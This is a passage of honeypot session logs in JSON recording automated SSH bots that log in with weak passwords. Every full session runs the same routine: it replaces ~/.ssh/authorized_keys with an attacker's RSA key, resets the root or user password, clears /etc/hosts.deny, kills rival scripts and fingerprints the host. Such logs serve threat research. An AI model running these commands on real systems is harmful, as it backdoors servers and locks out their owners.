-a"},{"seq":26,"at":"2026-08-27T11:31:57.557683+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:31:57.884280+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:31:57.884791+00:00","kind":"output","latency_ms":null,"data":"deployer"},{"seq":29,"at":"2026-08-27T11:31:58.210528+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:31:58.765143+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:31:59.093865+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:31:59.661299+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"deployer","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"08c1f23a-db2c-4621-aca2-db71ff9f4baa","name":"fleeting-foggy-curlew","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59086,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":463,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:31:49.000113+00:00","ended_at":"2026-08-27T11:31:50.368150+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T11:31:28.474151+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:31:28.935418+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:31:33.720549+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:31:34.105085+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:31:34.567966+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YpLAKMixUVyC\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:31:35.027112+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:31:35.485679+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:31:35.821510+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:31:36.291565+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:31:37.413448+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:31:37.876851+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:31:39.237391+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:31:39.708068+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:31:40.327143+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:31:40.786280+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:31:41.265806+00:00","kind":"output","latency_ms":null,"data":" 11:31:41 up 7 days, 8:21, 0 user, load average: 0.34, 0.33, 0.38\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:31:41.726601+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:31:41.992960+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:31:42.456075+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:31:43.168037+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:31:43.624013+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:31:43.877501+00:00","kind":"output","latency_ms":null,"data":"top - 11:31:43 up 7 days, 8:21, 0 user, load average: 0.34, 0.33, 0.38\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:31:44.338030+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:31:44.925177+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:31:45.388661+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:31:45.715376+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:31:46.168627+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:31:46.800630+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:31:47.262076+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:31:48.538569+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:31:49.002343+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:31:50.226275+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"P@ssW0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"3ed84bb1-120d-46aa-8e06-a66eae36dbb3","name":"patient-calm-parakeet","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":55448,"username":"sysop","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:31:40.849882+00:00","ended_at":"2026-08-27T11:31:43.052074+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2213,"events":[{"seq":1,"at":"2026-08-27T11:31:11.018671+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:31:11.280935+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:31:15.618640+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:31:16.838654+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:31:17.103612+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nktTs95qYMEwF\\nktTs95qYMEwF\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:31:17.365956+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nktTs95qYMEwF\\nktTs95qYMEwF\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:31:17.630729+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:31:18.026012+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:31:18.190158+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:31:19.433059+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:31:19.697520+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:31:21.456303+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:31:21.723211+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:31:23.814750+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:31:24.080353+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:31:25.302364+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:31:25.566717+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:31:26.877882+00:00","kind":"output","latency_ms":null,"data":" 11:31:26 up 7 days, 8:21, 0 user, load average: 0.33, 0.38, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:31:27.141409+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:31:28.534213+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:31:28.797862+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:31:30.570717+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:31:30.833582+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:31:32.582942+00:00","kind":"output","latency_ms":null,"data":"top - 11:31:32 up 7 days, 8:21, 0 user, load average: 0.33, 0.38, 0.31\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:31:32.845514+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:31:34.417759+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:31:34.681738+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:31:36.488179+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:31:36.751941+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:31:38.176904+00:00","kind":"output","latency_ms":null,"data":"sysop"},{"seq":31,"at":"2026-08-27T11:31:38.440820+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:31:40.587612+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:31:40.850788+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:31:42.976778+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sysop","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"439ccd49-b4b1-4e21-8cc7-4c818ee8528b","name":"loyal-vernal-pochard","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":59900,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":770,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:31:08.661148+00:00","ended_at":"2026-08-27T11:31:10.206764+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2234,"events":[{"seq":1,"at":"2026-08-27T11:30:39.952861+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:30:40.729628+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:30:47.470097+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:30:48.242779+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:30:49.015507+00:00","kind":"input","latency_ms":null,"data":"echo \"root:RuCTnyXiz1j0\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:30:49.783343+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:30:50.552480+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:30:51.210530+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:30:51.979229+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:30:53.280117+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:30:54.074045+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:30:55.467406+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:30:56.225020+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:30:56.806235+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:30:57.575300+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:30:57.851079+00:00","kind":"output","latency_ms":null,"data":" 11:30:57 up 7 days, 8:21, 0 user, load average: 0.2, 0.2, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:30:58.621887+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:30:59.434863+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:31:00.201238+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:31:00.993971+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:31:01.764039+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:31:02.037958+00:00","kind":"output","latency_ms":null,"data":"top - 11:31:02 up 7 days, 8:21, 0 user, load average: 0.2, 0.2, 0.23\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:31:02.806709+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:31:03.468827+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:31:04.241020+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:31:04.946627+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:31:05.731195+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:31:06.164863+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:31:06.935043+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:31:07.878934+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:31:08.662266+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:31:09.960099+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"didi123","method":"password","accepted":true,"tier":"other"}]} {"id":"05ba90af-81c7-4248-812c-218af65de5d7","name":"rambling-kindly-ferret","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":54726,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:31:08.652883+00:00","ended_at":"2026-08-27T11:31:09.337804+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2106,"events":[{"seq":1,"at":"2026-08-27T11:30:58.252569+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:30:58.546290+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:31:02.467609+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:31:02.468447+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:31:02.765177+00:00","kind":"input","latency_ms":null,"data":"echo \"root:0k4FzJAr61FJ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:31:03.066510+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:31:03.364443+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:31:03.364811+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:31:03.665837+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:31:04.191857+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:31:04.495119+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:31:05.051434+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:31:05.353382+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:31:05.353945+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:31:05.654191+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:31:05.654706+00:00","kind":"output","latency_ms":null,"data":" 11:31:05 up 7 days, 8:21, 0 user, load average: 0.19, 0.21, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:31:05.954634+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:31:05.955079+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:31:06.256097+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:31:06.256548+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:31:06.557101+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:31:06.559016+00:00","kind":"output","latency_ms":null,"data":"top - 11:31:06 up 7 days, 8:21, 0 user, load average: 0.19, 0.21, 0.16\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:31:06.858010+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:31:06.858363+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:31:07.158664+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:31:07.159175+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:31:07.460671+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:31:07.461628+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:31:07.761868+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:31:08.346920+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:31:08.653721+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:31:09.246257+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"11223311","method":"password","accepted":true,"tier":"other"}]} {"id":"75e0d1c1-2119-4298-b11c-7305bd833462","name":"barren-western-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":55158,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":350,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:29:53.805813+00:00","ended_at":"2026-08-27T11:29:54.454812+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T11:29:41.348072+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:29:41.692605+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 